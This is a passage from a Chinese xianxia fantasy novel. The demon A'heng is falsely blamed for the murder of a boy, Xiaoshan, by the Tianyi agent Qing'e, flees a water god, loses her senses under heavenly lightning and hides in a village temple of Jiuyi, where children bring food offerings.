雨丝被风斜吹,小山明显感觉青娥落在他脸上的手指蜷缩了一下,但仅仅只是一瞬,他听见青娥道:“就是因为你这样,所以我才总会在意。” 青娥明明已经失去了双眼,但她此刻垂眉,便好似在定定地凝视小山,她露出笑容,说:“小山,再见了。” 小山张口,还没发出声音,青娥的指尖却瞬息擦过他的颈侧,鲜血喷涌而出,迸溅在青娥的脸上,小山一双眼睛大睁,却什么话都说不出,青娥抹了一把脸上的血,说:“我并不需要一个低贱的凡人来做我的朋友,我更讨厌你这样的,让我会不忍,会犹豫的凡人,别用你们低贱的七情六欲来影响我……” 烟雨中,她手背上的玉片凛冽生光,像一汪碧绿的湖泊:“小山,如果要恨我的话,你便记住,我叫清峨,清霭的清,巍峨的峨。” 小山倒下去,颈间血流如注,他浑身不住地抽搐,此时站在他面前的少女轻抬右手背,她好似能借由手背嵌入血肉的那枚玉片看到眼前的一切,她发现小山身上一道金印显出,化成一道流光瞬息钻入她掌中,少女脸色微沉,却又忽然敏锐地抬头。 暗红的雾气来势汹汹,少女侧身一避,红雾中一柄焦黑的枯枝刺破雨幕直逼少女面门,此时红雾凝成阿姮的身形,只是这片刻,小山身下已是一片血红,阿姮快步到他面前,又愣在那儿。 小山那双圆圆的,乌黑的眼睛还睁着,却一点神采也没有了,他一动不动,颈间是一条皮肉外翻的血口子,还在汩汩地涌着血。 “……小崽子?” 阿姮蹲下去,喊他。 阿姮伸手捂住他颈间的血口子,血还是温热的,很快淌了她满手:“小崽子!” 可他却没有任何动静。 阿姮伸出手指,探向他的鼻间。 人类的鼻息都是热热的。 可他没有,一点鼻息都没有。 阿姮愣住了,她望着面前的这个小孩,他明明睁着眼,瞳孔却已经涣散了,他的血明明还是热的,他却一点声息都没有了。 不会蹦蹦跳跳,不会围着她转,叽叽喳喳地说要当什么大侠。 他才十岁。 人类的十岁,对妖来说是那么微末的年纪。 “你既然亲口答应了他,那么他的性命,便是你的责任。” 阿姮耳边无端回荡起这道声音,她脑海里划过那晚的雪,想起那晚小神仙端正的神情。 温热的血还在往她手心里涌。 这个人类小崽子明明很小一个,为什么他的血,这样多呢? 阿姮觉得喉咙焦躁,人类孩童的血还算芳香,可她这一刻却忽然好厌恶这所谓的本能,她厌恶起自己被这种本能驱使的感觉。 阿姮猛地抬起眼,万木春像是感受到她无比愤怒的意念,攻势更狠,那白衣少女身若流云,来回闪躲之间,循着阿姮的方向,露出诧异的神情:“你这样的东西……竟然也会有眼泪?” “那你又是个什么东西?” 阿姮起身,万木春回到她手中,小山鲜红的血顺着她的掌心流淌过万木春的枝尖,阿姮一点也不想问这个青娥为什么会忽然出现在这里,又为什么要杀小山,此时此刻,她只想将她碎尸万段。 阿姮身化红雾,骤然出现在清峨面前,万木春枝尖凌厉一扫,罡风四起,清峨被枝尖扫来的气流逼得后退几步,一把攥住枝尖,却被枝尖陡然释出的威慑之力震断手上所有筋脉,清峨脸色终于有些不好看了。 她飞身后退,又抬起右手手背,玉片莹光闪烁,照见她左手的惨状,这并非只是阿姮之力,更多的,是万木春对于天衣人的杀气。 “九仪。” 清峨神情阴戾。 阿姮燃起重重红云烈焰,金电缠裹其中,滋滋作响,几乎要将清峨整个包裹,她手持万木春,直逼清峨,此时,一道黑衣身影从天而降,他破开烈焰一角,在阿姮的枝尖袭来的刹那,将清峨一拽,他胸膛化出一道阴寒的刀光扑向阿姮,阿姮侧身一避,风卷林动,草木摧折。 清峨本就没有兴致与阿姮对阵,她这副躯体看起来很羸弱,她似乎也懒得动,她只是在火光中望着阿姮,道:“阿姮姑娘,原来你长这副样子啊。” 她终于借由手背的东西看清了阿姮的模样。 “可按道理来说,你不该有自己的样子,”清峨声音缓缓,“你也不该有叛逆之心,你知道吗?你是我们的东西,既然是东西,你怎么可以有人的面目呢?” “你们的东西?” 阿姮冷笑:“笑话,我只当我天生地养,何时又算你们的什么东西?我想做什么,不想做什么都凭我心意,就像此时,我只想杀了你这个臭东西!” 清峨神情淡淡:“没关系,阿姮姑娘,你本来就是要历遍世情的,现在我并不打算将你收回来,你可以尽情地去当个妖,或者说……你想当个人。” 清峨忽然扬右手,一柄短匕毫无预兆地断去她的左臂,血液迸溅在她素白的衣摆,而她却连眉心都未皱一下,那黑衣男人脸色一变:“殿下……” 断臂掉在地上,清峨却是一副嫌恶的神情:“我的这副躯体实在太弱,太讨厌,这只手臂沾了九仪的味道,实在不能要了。” 断臂血肉模糊出,散碎的流光飞出,融入周遭一片暗红的雾气里,清峨对阿姮笑道:“这是我送给你的礼物,你很快就会知道,你对那些凡人而言其实什么也不是。” “你猜,他们若是知道小山是你杀的,” 清峨断了一臂,一身衫裙被染红大半,她轻轻抬起下颌,“那位积玉仙长,还有那位赵姑娘……他们可还会把你当朋友?” 阿姮脸色阴沉,万木春飞出去,那黑衣男人却与清峨骤然消失在这片山坳间,红雾浮动,那只断臂在地上融化成为一滩血水。 “童儿!何人伤我童儿!” 风中,一道苍老凌厉的声音传来,阿姮敏锐地侧身一避,强大的气流擦身而过,阿姮回头,只见一白发老者凭空出现,他快步过去将小山抱起,面露悲色:“小山!” 若程净竹还有意识,他必然会发现,这老者正是他之前动用金光引炁阵之时,透过火种看到的那名老乞丐。 而那火种,便是小山身上的半枚。 那白发老者抬首,盯住阿姮:“妖孽……是你杀了他!” 阿姮想起那清峨断臂中散出的流光,她冷声道:“他不是我杀的。” “妖孽,你还敢狡辩?” 老者将小山小心地放下,站起身来,厉声道:“我本酆水水伯,这孩子乃是我选定的童儿,我早在他身上种下一道护命的金印,你若没有破我的金印,那么金印为何会有气息留存在你身上?” “你问我?” 阿姮对上他的目光:“我还想问你,为什么你这样一个糊涂蛋也能做神仙?连你的金印也和你一样糊涂!” “好,妖孽,今日我非收了你不可!” 酆水水伯袖子一挽,万般流水蜂拥而来,化为道道冰箭,扑向阿姮,阿姮连劈数道冰箭,水伯从容地将手往下一压,一层重若千钧的水波压下来,酆水滔滔汹涌,而水伯借酆水之力,自然气势万钧。 阿姮越打,越明白自己根本打不过这尊水域之神,她索性转身化成红雾飞浮而去,那酆水水伯声音冷沉沉的:“想逃?” 流水飞瀑强压而下,红雾无所遁形,正是此时,霖娘的声音传来:“阿姮!” 很快,霖娘和积玉落到她身边来。 霖娘拉住阿姮的手,发现她臂上道道破口,她感受到那老者身上精纯的清气,断出他所用乃是仙法,她立即跪下去:“上仙,弟子霖娘拜见上仙!” 酆水水伯自然发现她身上的珍珠云肩不是凡物,可她却偏偏是个鬼身:“你是……” “弟子霖娘,受元真夫人点化,在世间行走修行,”霖娘说着,又看向阿姮,阿姮衣衫破了好多条口子,脸也看起来脏兮兮的,“她是阿姮,是我的朋友,也是万木春的主人。” “万木春……” 酆水水伯成神不久,并不知万木春的模样,但他却晓得那是谁的用物:“一派胡言!万木春只有一个主人,那便是九仪娘娘!我下界前,曾听说阎王禀报天帝,说有一妖女携万木春从赤戎出来了……如今看来,她,便是那妖女!” “一个妖女如何能成为万木春的主人?九仪娘娘又如何能容她这样一个妖孽拿着她的法宝作恶?” “阿姮没有作恶!” 积玉脸色依旧不太好,他俯身:“上仙,阿姮虽是妖,却从未结过恶果。” “从未结过恶果?” 水伯侧过身让开:“那你们告诉我,这个孩子,算不算是她的恶果?” 没有了水伯的身影,与他周身弥漫的水汽遮挡,霖娘与积玉猝不及防地望见不远处那片血泊里,那个一动不动的小小身影。 “……小山?” 霖娘瞳孔紧缩。 积玉也脸色大变。 霖娘声音颤抖起来:“小山怎么会,怎么会……” 水伯仰头,严密的水网布满这片天幕:“女娃娃,你既受元真夫人点化,必然也是一个好孩子,现在,你们两个都让开,我精挑细选的好童儿死了,我今日定要收了她!” 阿姮此时终于明白清峨的意思了。 她抬起眼,看向霖娘,她在想象,想象霖娘用愤怒的目光看她,用陌生的神情对她,那应该,便是清峨的礼物。 水网落下来,收束四角,阿姮一瞬握紧万木春,红云烈焰滚滚燃烧,正是此时,阿姮的手却被霖娘一把拉住。 阿姮愣了一下。 她再度看向霖娘,霖娘却并没有看她,而是与那酆水水伯目光相接:“阿姮不会的。她绝不会杀小山的,她很喜欢小山,还给她做火弓玩儿……小山一定要来岐山,我们谁也不愿带上他,其实我们是不敢,因为他年纪太小,我们怕保护不住他,所以不敢,但是阿姮敢,只有她愿意带小山来到这儿,只有她敢担负起小山的生死,让小山找到他的朋友……她是妖,但那又怎么样呢?她是好妖,她是我最好的朋友。” 积玉亦站在阿姮身边:“上仙,弟子知道上界神仙绝不是不讲道理的,神不应有偏,若偏,便会神殒,所以您心中一定不偏,既然不偏,还请您明察,阿姮绝不可能杀小山,她是脾气差了点,也不太知道天高地厚,可在弟子心中,她是好妖,是朋友。” 阿姮瞥他一眼,总觉得他这话顺耳又不那么顺耳的。 “别给我戴高帽!” 酆水水伯气呼呼的:“我说要杀她了吗?我只是要收了她,什么叫收你们懂不懂?查,我自然是要查的,可她是从赤戎出来的妖,如今人间到处是妖祸,上界诸神早已全部下界,我断不能留她拿着九仪娘娘的法宝在外面乱跑,等先收拾了人间的妖祸,我再来查她!” “你要关我?” 阿姮抬眸。 “关你一顿怎么了?” 酆水水伯说道。 “不行。” 阿姮说。 “……?”酆水水伯雪白的胡须都飞了起来,“我是在跟你商量吗?” 酆水水伯已经不想再废话了:“你们两个,让开!” 霖娘与积玉却谁也没动,水伯点了点头:“好,那我就先把你们一块儿收了,再把你们俩摘出来!” 水网压下来,霖娘手握菱花小镜,镜中化出水流与水网相抗,积玉则召唤金剑抵住水网的收势。 阿姮的红云烈焰越烧越浓,但酆水水伯水域之神的能力却并不是那么好对付的,眼见水网越收越紧,阿姮与霖娘、积玉三人苦苦支撑,霖娘满头满身都是水,她一边抵抗水网,一边问阿姮:“到底是怎么回事?” “是那个青娥。” 阿姮用万木春不断刺向水网:“她是个天衣人。” “青娥……?”积玉不敢置信,“她是天衣人?” 但很快,他恍然大悟:“怪不得,怪不得她蒙着眼睛,血统纯正的天衣人双眼幽绿,她为了不被发现,真是煞费苦心!可她……为什么要杀小山?” 阿姮不说话了。 她怎么会知道呢。 反正,就算酆水水伯肯信她没有杀小山,他也绝不会放了她,因为,她是从赤戎出来的妖。 水网收得更紧,三个人几乎都紧紧挨到了一起,积玉的脸紧紧贴在网上,他用尽力气抵抗:“我知道了,我本来还想我虽因乌精木而受伤,御剑的能力应该还是有的,如今看来,都是那青娥搞的鬼……” 三人在水网中苦苦挣扎,目光却都不约而同地望向不远处那个小孩的尸体。 泪水在霖娘的眼眶里打转。 此时,天上忽然叮铃哐啷地落下来一堆东西,那酆水水伯定睛一看,竟然是一堆的法器,那些法器正试图从外面挣开他的水网。 酆水水伯沉声道:“尔等道中之人,为何与我作对?” 一帮僧道从云中乌泱泱地洒下来一大片,他们当中有供奉过酆水水伯的,那些道人立即俯身跪下:“水伯大人!” “你们快快退去,不要添乱!”水伯说道。 “原来是水伯大人,”那三真道人往前一拜,“水伯大人有所不知,这三位小友与我等是有善缘的,水伯大人为何要收了他们?” “我还要与你们说明?” 酆水水伯一个头两个大,他虽有不爽,却还是说道:“我本意收妖,此妖是从赤戎出来的妖,我必收之。” 三真道人与无晦子相视一眼,随即无晦子上前拜道:“敢问水伯大人,上界如今可找到那赤戎的方位?” “还不曾。” 提起此事,水伯眉头有些皱,显然很是忧心。 “哦……” 三真道人恭敬地点点头,“既然如此,那么……还请水伯大人宽恕弟子无礼!” 说着,三真道人抄起剑来,捅向水网。 那无晦子一言不发,亦持剑而上。 “你们……做什么?” 酆水水伯简直呆住了。 三真道人见零零散散上来几个僧道,他回过头,大声道:“我等玄门中人本有守护众生之责,有人为上界,为众生而受苦,若无此人,不必等到今日,只怕人间早已大乱,这多年安宁,是此人孤身一人换来的!你们真要袖手旁观吗!” 顿时,不少人面露动容。 三真未言明那个人,但他们都知道那是谁。 那是白泽殿下。 殿下为众生而受此难,他们这些玄门中人对寻常众生有守护之责,可他们,却也是受过白泽殿下护佑的众生,殿下的慈悲恩德,他们理应回报。 阿姮是从赤戎出来的妖,她也许可以找得到回去的办法,她若今日被水伯捉住,那么白泽殿下也许便再无取回神骨的可能。 可若令水伯知道,令满天的神仙知道,他们到底会不会同意取回殿下的神骨?这却说不一定,因为对神来说,大局,苍生,重于一切。 可至少,他们这些人,要为殿下争一争那分生机吧? 殿下为苍生结成千年安宁的善果,他们也应该为殿下而结一个善果。 希望,这会是善果。 一时间,众多僧道涌上去,学着三真道人抄起法器捅向水网。 阿姮属火,而水伯的水域之力与火相克,所以她哪怕是用万木春也仅仅只是勾破水网的一寸边角,水又涌上来,很快弥补,此时众多僧道们的法器全都嵌在的水网之上,有了他们的帮忙,阿姮骤然划破水网一侧。 “阿姮姑娘!快走!” 三真道人憋红了脸,仍然努力支撑。 霖娘也喊她:“阿姮!你先走,快走!” 积玉满头大汗,他匆匆说道:“阿姮,我们在这儿挡着,是为你争取时间,你带着小师叔走,你从哪儿来,就走哪条路回去,我和霖娘一旦脱身便会去找你们的!” “好……” 阿姮化成红雾,从众人强撑着维持的那个破口钻出,她飞浮往上,在云端下视,水伯被众人围挡,不得脱身。 风中,阿姮怎么看,也再看不见小山了。 她转过脸,抱紧布娃娃,化雾随风。 第70章 第70章 “我就是九仪娘娘的表妹,十…… 凌霄十二重云海茫茫, 三重软白,三重青碧,三重红霓,三重紫盖, 紫云金雾笼罩之地为天之极, 称紫微金阙, 乃帝王气汇聚之地,天帝居所。 慈济真君缓步走到白玉栏杆畔,见天帝负手而立, 身边无一侍从, 他上前, 俯身一甩拂尘, 恭谨道:“陛下,小神已将您的神印交与我那小徒孙, 有您的神印护身, 小殿下如今那副血肉身躯应该还可以撑得住。” 天帝却并不说话,慈济真君不由随他的目光越过栏杆下视, 云海茫茫, 天河滚滚银流穿于云中, 湍湍奔涌。 “陛下……”慈济真君似欲言又止。 “朕知道你心中的疑虑。” 天河下, 隐约可见重重红霓, 而红霓之中金台玉楼,影影绰绰,良久, 慈济真君忽听天帝道:“朕曾跟他说过,银汉之水至韧至柔,他非但记得, 还懂得利用此水的特性来造出一副身躯。” 慈济真君没有说话。 天河即是流星融化而成,紫微金阙中一草一木,一石一泽有任何异样,天帝都会有所感应,那日小殿下以阵法引水之时,他正在此处与天帝对弈。 天帝对棋的执着十二天阙无神可比,但那日,天帝却失手推乱棋局,慌慌张张地拨开重重云雾,顺着银汉之水流动的方向不断地往下望去。 “此水可为那女妖造出本相,却无法保住殿下的神魂,”慈济真君说道,“小神未成神之时早已想过许多办法,到头来只有人的血肉之躯可以滋养他的神魂,可矛盾的是,人的血肉之躯又无法承受殿下的神魄,所以小神才以戒痕为封印,只要殿下心如止水,波澜不兴,那副身躯至少可保他百年无虞……可如今来看,只怕一年都不够了。” 银色的水珠在高悬的瀑流中散落,天帝下视层层云霭,却什么也看不清:“朕知道,朕……什么都知道。” 阎王早已上报过女妖阿姮携九仪娘娘法宝万木春入世之事,慈济真君乃是天帝近前的棋友,他一直看得分明,天帝陛下早就亲眼在云端看到小殿下为那阿姮引水造身,在众神知晓阿姮之前,天帝早已先发现她。 但天帝什么也没有做。 “陛下,天衣人卷土重来,是铁了心要光复他们坍鸿时期的荣光,若赤戎封印一解……那人间……” 慈济真君不知该如何明说。 他想问天帝,是否心中盼望小殿下拿回神骨?可若小殿下拿回了神骨,那么赤戎的封印又该如何…… 两难。 这实在两难。 “七杀星陨只怕也是天衣人的诡计之一,如今人间恶妖得天衣人之势为祸人间,为避免人间战火不断,朕要守紫微金阙,亦要代替七杀星以威慑之力镇守人间军队。” 紫云金雾之中,天帝宽袖猎猎,眉目端严:“世有灾厄,神阙当空,慈济,你也下界去吧。” 自阿姮匆忙逃出岐山,天上连日出现异象,有时夜里弯月血红,有时白昼阳火不显,黑云滚滚,天边闷雷翻卷不断,持续多日,却并不见雨。 阿姮越过滔滔酆水,凭着记忆往来路去,然而云中时常出现滋滋的雷电,那似乎是雷公电母广撒而出的网,只要遇见妖气盘桓云中便会显露神威,不给任何妖类有接近十二天阙的机会,阿姮不止一次被雷劈到,她始终担心酆水水伯追上来,一直不肯落到地上去靠双腿行走,但有时雷劈得太狠,太疼,她也会从云端摔下去。 她跋涉回邕宁国中,这段路明明是她曾走过的路,但阿姮却又觉得这路不像是她走过的路,记忆里那些曾路过的村镇如今已十不存一,到处都是盘桓的妖气,凡人无不惊慌躲避,为了抵抗天雷,阿姮一边赶路,一边琢磨碧瑛留在她识海深处的行炁之法。 起初,阿姮被劈个二十来道天雷便会顶不住摔下去,后来,她渐渐能承受个五十道,再到如今,她已有了自己的规律,御风三日挨个一百道,再老老实实在地上走个三日算是勉强喘息,然后再御风挨个三日。 夜色漆黑,天边雷声轰隆,闪电滋滋作响,倾盆大雨倾泻而下,亮闪闪的冷光交织一瞬,暗红的雾气随雨而坠,在这片山林中幽幽浮浮,缓缓凝出阿姮的身影。 她一手撑在泥泞里,天边的冷光照亮她苍白的肌肤,纤细的腕骨,乌浓微卷的长发凌乱极了,发尾几乎都被烧焦,她一身衫裙到处都是被火燎过的痕迹,浑身都是闪烁的银痕,她趴在泥地里好一会儿没有动,那只撑在地上的手迟缓地摸索着,却漫无目的,天边又是雷电闪烁,她抬起头,天边转瞬乍现的亮光照见她一双暗红的眼,一张脏兮兮的脸。 她脚上的鞋子早已经不知哪里去了,赤足沾着污泥,雨水冲刷在她苍白的脚踝,她跪坐起来,慢慢地抬起那只沾满泥水的手。 她微微偏头,眼露茫然。 为什么……她的这只手接触地面,却好似没有多少实感,像陷在一团软绵绵的云里。 阿姮听到四周的雨声,雨声很大,很急。 但她却感觉不到它们落在她的脸上。 ……难道壳子被天雷彻底劈坏了? 可若真的坏得不能用了,不应该立即融化掉吗? 又一阵闷雷炸响,天边电光如织,阿姮似乎从雨声中听到了点什么,不过抬头的刹那,她看到那片冷光下,不远处的林中枝叶摇动,风雨缠绵。 “哎,又是陆家找你们来的?” 急促的雨声中,一道娇细的女声似含笑意,说话间,林中碧绿的纱帛仿佛浸透雷电的冷光,随女子袅娜的身影上下浮动,多道剑影擦她身而过,她灵巧至极,绿纱缠绕树干,她飞身一坐,竟以绿纱为秋千,在两树之间荡来晃去,淡色的裙摆飞扬着,她的笑声是那么清脆。 林中水气太盛,雾色朦胧,流转的剑光中有人大喝一声:“妖孽!你屡次纠缠陆家少爷,我等受陆老爷所托,前来诛你!” 那绿纱晃荡着,女子窈窕的身影轻盈极了,她苍白纤细的手臂勾着绿纱,偏头轻枕臂弯,乌黑的鬓边凤钗垂下的绿宝流苏闪着星星点点的光。 阿姮身为妖邪,如此距离也不妨碍她将那女子打量清楚,阿姮才看到她鬓边凤钗垂下来数枚水滴状的绿宝石,便眸光一亮,却是这一瞬,阿姮还没来得及看清那女子的脸,却觉得眼前一花。 她闭了闭眼,再看向前面那片林子里,那电光剑影竟然全都模糊成一片朦胧的光,耳边的雨声似乎也变得离她好远好远。 阿姮的脸色顿时难看极了,这一路上她的唇舌早已麻木,味觉再也没有回来过,嗅觉也变得十分不灵敏,而到此刻,她意识到,自己竟然连这雨中任何一点草木的味道都嗅不到了。 “哈哈哈哈哈哈……” 那绿衣女娇细的笑声隐约落到阿姮耳边:“你们这些外乡来的臭道士怎么一个都不讲理呢?妾有什么错?是那陆郎负心,是他对不起我……” 绿衣女似乎还说了些什么,那些道士们又说了些什么,但到阿姮耳边则全都变得模糊起来,她抬眸隐约窥见绿纱飞扬而来,道道剑光亦紧随其后,阿姮心中一紧,她猛然起身,转身化雾,暗红的雾气在林中毫无章法地乱窜,不知到了哪儿,一间庙宇安静矗立于山坳之中,红雾流转入庙门,外面雷暴不断,风雨交加,两扇庙门被风吹得吱呀晃动,门外绿纱缠绵若雾,紧紧地勒住十几个道士的喉咙,道士们个个瞪大双眼,挣扎不过,骨头断裂的声音清脆极了,片刻间,十几名道士全都没有声息了。 绿衣女莲步缓缓,层层绿纱沾满斑驳的血,一颗一颗人头掉在地上,汩汩的鲜血被雨水冲刷过她脚边,周遭雨声浓重,而她侧过脸,看向那两扇摇摇晃晃的庙门,庙中无灯烛在燃,只有天边闪烁的电光短暂照亮庙中神像。 阿姮听不到雨声,也听不到任何其他的声音,但她的本能仍让她察觉到血腥,那是非常浓重的血腥气,是可以称得上芳香的血腥气。 是那些道士死了。 阿姮心里想着,她垂下眼帘,模糊的冷光中,那个一直被她抱在怀里的布娃娃身上缠满了珠饰,霖娘送给她的首饰,峣雨送给她的凤钗,璇红送给她的玉镯,还有……刻着小山名字的那枚玉章。 她拆了首饰,拆了凤钗,把上面能摘下来的所有珠石全都缀在了布娃娃的身上,这些东西所蕴藏的精纯清气对他是有用的,可却到底杯水车薪,至今,也仅仅只是让他身上金色的裂纹少了几道而已。 眼前忽然漆黑,阿姮浑身一僵,她以为是电光消失四下昏暗,但她等了好一会儿,也没有等到那闪电再度凝起冷白的亮光,照亮她的视线。 风雨之声早就不复,她耳边什么声音也没有,这双眼也被无尽的漆黑所笼罩,她甚至不知道自己此时置身于何处,那绿衣女会不会发现她? 她的五感全部都消失了。 这个认知令阿姮浑身都颤栗起来,她觉得自己又听到了雨声,但片刻,她发现那是幻听,她明明没有心脏,不可能有人类的任何心跳声,但在这种一切未知的境况之下,她于茫然之中像是感受到无尽淋漓的雨,一颗颗钻入她的壳子,飞溅在她胸口空空的那个地方。 阿姮一点也不怕那绿衣女,她甚至很想抢来绿衣女的那枚凤钗,可五感忽然的消失,令阿姮变得慌张起来,她什么也感受不到,所以此时她根本不敢动,万一那绿衣女发现了她,万一……万一绿衣女趁她瞎的时候夺走她的布娃娃…… 阿姮如入定一般,一动也不敢动,她想,若是绿衣女此时用那根看起来脏脏的绿纱缠住她的脖颈,勒坏她的壳子,她只怕也不会有任何感觉。 阿姮处在不安的心绪里煎熬着,五感尽失,令她觉得时间也仿佛因此而凝滞,她不知道过去了多久,也不知道那绿衣女还在不在,但很快,她已经无暇去想这些了,触感的消失,令她无法通过壳子获取触摸任何东西的实感,她甚至感觉不到布娃娃还在不在她怀里,这种感觉糟糕极了,但也因此,她身上因天雷而造成的伤也都不再痛了,痛觉似乎因此而完全失踪,但这并不是一件那么好的事。 痛觉,是为提醒她避险,而失去痛觉,一切危险都变得不可知,失去视觉,听觉,更加深了这种不可预知的危险,阿姮觉得被壳子包裹住的自己变得很奇怪,也不知道是不是碧瑛给她的功法她哪里练错了的缘故,她渐渐有一种整个人被沉在无穷无尽的波涛之中的感觉,她并不痛,却像一个人类被水流冲刷七窍,阻断呼吸一般,人类会因此而死,死了,便也算逃脱了这种桎梏,但她不会死,她重复地溺在这种濒死的感觉中,挣不开,逃不掉。 阿姮开始出现幻觉,很多的幻觉。 她总是听见霖娘唤她,叫她走,叫她一起回赤戎,她也会听见积玉的声音,积玉质问她,为什么把他的小师叔弄得脏兮兮的。 “你胡说,我明明给他洗了头发,还洗了衣裳……” 阿姮无意识地反驳,却连自己的声音都听不见,好一会儿她才反应过来,原来都是幻觉。 她已经完全失去了霖娘那副壳子带给她的人类的五感,连她自己的本能也减弱,她什么也感知不到,像活在时间之外,一切都静止了。 阿姮从未有过这样无助的时刻。 她焦躁,她煎熬。 她不应该停留,她要走,要顺着来时的路找到赤戎的入口,去那座巍峨的神山中,取回小神仙那副与山相融的神骨。 可她听不到,看不到,什么都感觉不到,比那山间的二两风还不如,空有双腿,寸步难行。 阿姮忍不住想很多很多。 她想万一酆水水伯找到她怎么办?万一天上那么多的神仙都不想小神仙取回他的神骨,那他又要怎么办? 他的血肉躯壳会腐坏,他的灵魂会无所依存。 他也许会像璇红一样,永远消失。 阿姮只是这么一想,她暗红而无神的双眸抬起来。 不行,不可以。 暴雨连下数日,引得周围村庄的庄稼全部毁坏,多少人摆神坛祭神也止不住这倾盆大雨,愁得那些靠天吃饭的人捶胸顿足,形容惨淡,如今四处闹妖怪,那些常年在宫观寺庙中清修的道士和尚们全都下山入世,撒向四海。 这小小松南岭也来了些和尚道士,遇祟除祟,然而松南岭眼下最要紧的却并非是什么妖祸,而是这连下不止的暴雨,附近的村人们都求到这些道长法师们面前,却听一老法师道:“阿弥陀佛,此雨非自然而成,乃是此地妖气太重,浊气纵横而使清气淡薄,炁的失衡,必导致天生异象。” “老法师这么说……” 一村人回过头,檐外仍是大雨如瀑,一派水气朦胧:“若全天下的妖怪闹得越凶,这样的异象就越多,那人间……人间岂不是要被滚滚洪流淹没成一片大泽?” 挤在檐下的村人们都静默了一会儿。 忽然,有人说:“要是都淹了,咱们吃什么呢?” “还琢磨吃呢?要是都淹了,哪还有咱们的活路?” “这也说不一定啊,要是真的都淹了,咱们造船,像屋子那样的船漂在水上,不也能活着么?不吃粮米,吃河鲜什么的也行啊……” 这话题从暴雨扯到造船,再扯到河鲜,又说起什么河鲜好吃,人们聊得竟然一点也不垂首丧气,老法师不由微微一笑:“无有众生而不爱命,如此即无绝路之说。” “诸位施主放心,贫僧与几位玄友定会在此斩妖除魔,化去此地这过重的浊气,令松南岭早日晴朗。” 村人们又是心疼地里的庄稼,又是害怕那些害人的妖怪,他们本摸不准老法师他们还要捉多少妖怪才能结束整个送南岭清浊失衡的乱象,却不想,夜里雨就忽然停了。 许多人匆忙穿衣踩着泥泞跑去感谢老法师他们,却发现老法师他们全都受了伤,还有两三个僧道不见了,老法师临着一盏灯火,一张脸苍白得厉害:“那绿雀妖在此害了百余条性命,又身怀天衣人的法器,贫僧与几位玄友如今皆不是她的对手,她手底下的妖祟也还没除干净,这浊气却莫名少了许多……” 村人们摸不着头脑,有人疑惑地问:“老法师,那这究竟是好事还是坏事呢?” “暴雨已停,清浊守恒,自然是好事。” 但老法师隔窗望向天边一片被茫茫白雾笼罩的苍翠山廓:“可那些浊气像是被什么吸去了那片山中。” “那是午山啊……” 有村人顺着老法师的视线望去,随后,他猛然振声道:“午山……午山上有座九仪娘娘庙啊!” “莫不是九仪娘娘显灵了!” 夜里暴雨一停,清晨几个小孩儿便按捺不住跑到山上去玩儿,他们听大人们聚在一块儿聊了一夜,说是午山上的九仪娘娘庙显灵才让下了好多天的妖雨停了。 几个小孩儿才跑到午山上,正逢日出,金灿灿的日光给那间小小庙宇镶了层漂亮的金边,庙门口被暴雨冲刷得干干净净,小孩儿们没注意到砖缝中的血红,全都跑进了庙里。 “这就是九仪娘娘吗?怎么看起来好丑啊……” 一个胖乎乎的小男孩站在香案前,仰望那尊泥塑的神像,上面的色彩剥落了好多,看起来斑斑驳驳的,连五官都很模糊。 他身边的小女孩一巴掌拍在他脑袋上:“你才丑呢!我娘说,村里没有那么多钱给娘娘塑金身像,所以才塑了个泥的,我娘说,九仪娘娘是不会在乎这些的,我们的香火,和那些金身塑像的大寺庙里的香火对娘娘来说是一样重要的东西。” “就是!我娘也说,九仪娘娘才不会只爱金身不爱泥胎的,只要是好孩子,娘娘一样爱护!” 另外一个干瘦的小男孩说道。 好吵。 阿姮睁开眼睛,片刻,她才迟钝地反应过来,她竟然又听到了声音,那些声音嗡嗡嗡的,好一会儿,她才听清楚,那是几个孩童稚嫩的声音。 他们叽叽喳喳的。 “快,把东西都放到上面去。” 小女孩似乎在支使两个男孩儿。 “可是我够不到香案啊。” “我也够不到……” 两个小男孩委委屈屈的。 那小女孩哼了声,说:“你们两个真的好矮哦……” 阿姮终于确定,这不是幻听,她听见几个小孩打开什么纸包的声音,随后一股很香很香的味道毫无预兆地飘来阿姮的鼻间。 什么东西……为什么会这么香啊? 阿姮轻轻地嗅。 “九仪娘娘,我是陈小山,他是陈小虎,这个是陈小秀,听老法师说,是您救了我们陈家村的庄稼,救了整个松南岭的庄稼,谢谢您,娘娘,这个是我娘做的饼,还有小虎家做的馒头,小秀家的烧鹅……这些都给您吃!” 那个小孩的声音传来。 阿姮愣住了。 陈小山。 小山。 阿姮听着他的声音就知道他不是那个小山,这个世上到处是山,到处有水,就像她曾遇见的那个小山,也只是崇山峻岭中的小小一座。 刻在那枚玉章上的痕迹被阿姮反复摩挲过。 阿姮已经会写他的名字。 江崟。 阿姮眼前仍一片漆黑,她摸到了怀里的布娃娃,那些珠饰仍在他身上,她一直高高悬起的情绪终于得到了片刻的安宁,那股香味始终盘旋于她的鼻息,那是肉的味道,应该就是那小孩儿说的烧鹅了。 三个小孩儿正端端正正的在香案前拜娘娘,庙中忽来一阵清风,那陈小山一下抬起头来,正见香案上红雾淡淡,他们几个方才放上去的东西,竟然全都不翼而飞了。 陈小山瞪大眼睛:“娘……娘娘显灵了!” 陈小虎和陈小秀也激动地大叫起来:“真的显灵了!” “娘娘,娘娘……您在吗?” 陈小秀望着神像。 那陈小虎也忙将神像仔细打量,却看不出神像有任何不一样的地方,此时,他们三个听到了什么东西掉在地上的声音,陈小山率先追着那一缕淡淡的红雾绕到神像后面去,陈小虎和陈小秀紧跟在他身后。 门外天朗气清,庙中风吹帘幕,淡淡的灰尘飞扬在几束日光之中,而神像身后一片昏暗,三个小孩睁大眼睛,望着神像背后那道黑乎乎的裂口。 裂口中,红雾缕缕浮动。 陈小山明显有些害怕,但他又实在好奇,忍不住上前,却见那道裂口里有什么东西掉了出来,此时,三个小孩往地下一看,这才发现脚边的馒头和饼子。 “我娘做的饼!” “我娘做的馒头!” 陈小山和陈小虎同时惊呼。 三个小孩一时间屏住呼吸,他们面面相觑,最后都郑重地点点头,一齐爬到神台上去,那道裂口看起来很深邃,三个小孩鼓起勇气,凑过去,往里面看去。 昏暗的光线里,三双圆溜溜的眼睛透过那不算很长的裂口,模糊看到一道影子,陈小秀鼻子动了动,她嗅到了她爹做的烧鹅的味道。 里面那个影子在动。 随后,红雾中隐含的淡淡金芒映照出一张苍白的脸,她那双暗红无神的眼睛敏锐地抬起来,三个小孩顿时惊声大叫,慌张之下,全都滚到了神台之下。 他们摔得屁股生疼,却见裂口里烧鹅的骨头被一根根丢了出来,随后,那只站着些油腥的,纤细苍白的手摩挲着顺着那裂口探了出来。 “您……您是娘娘吗?” 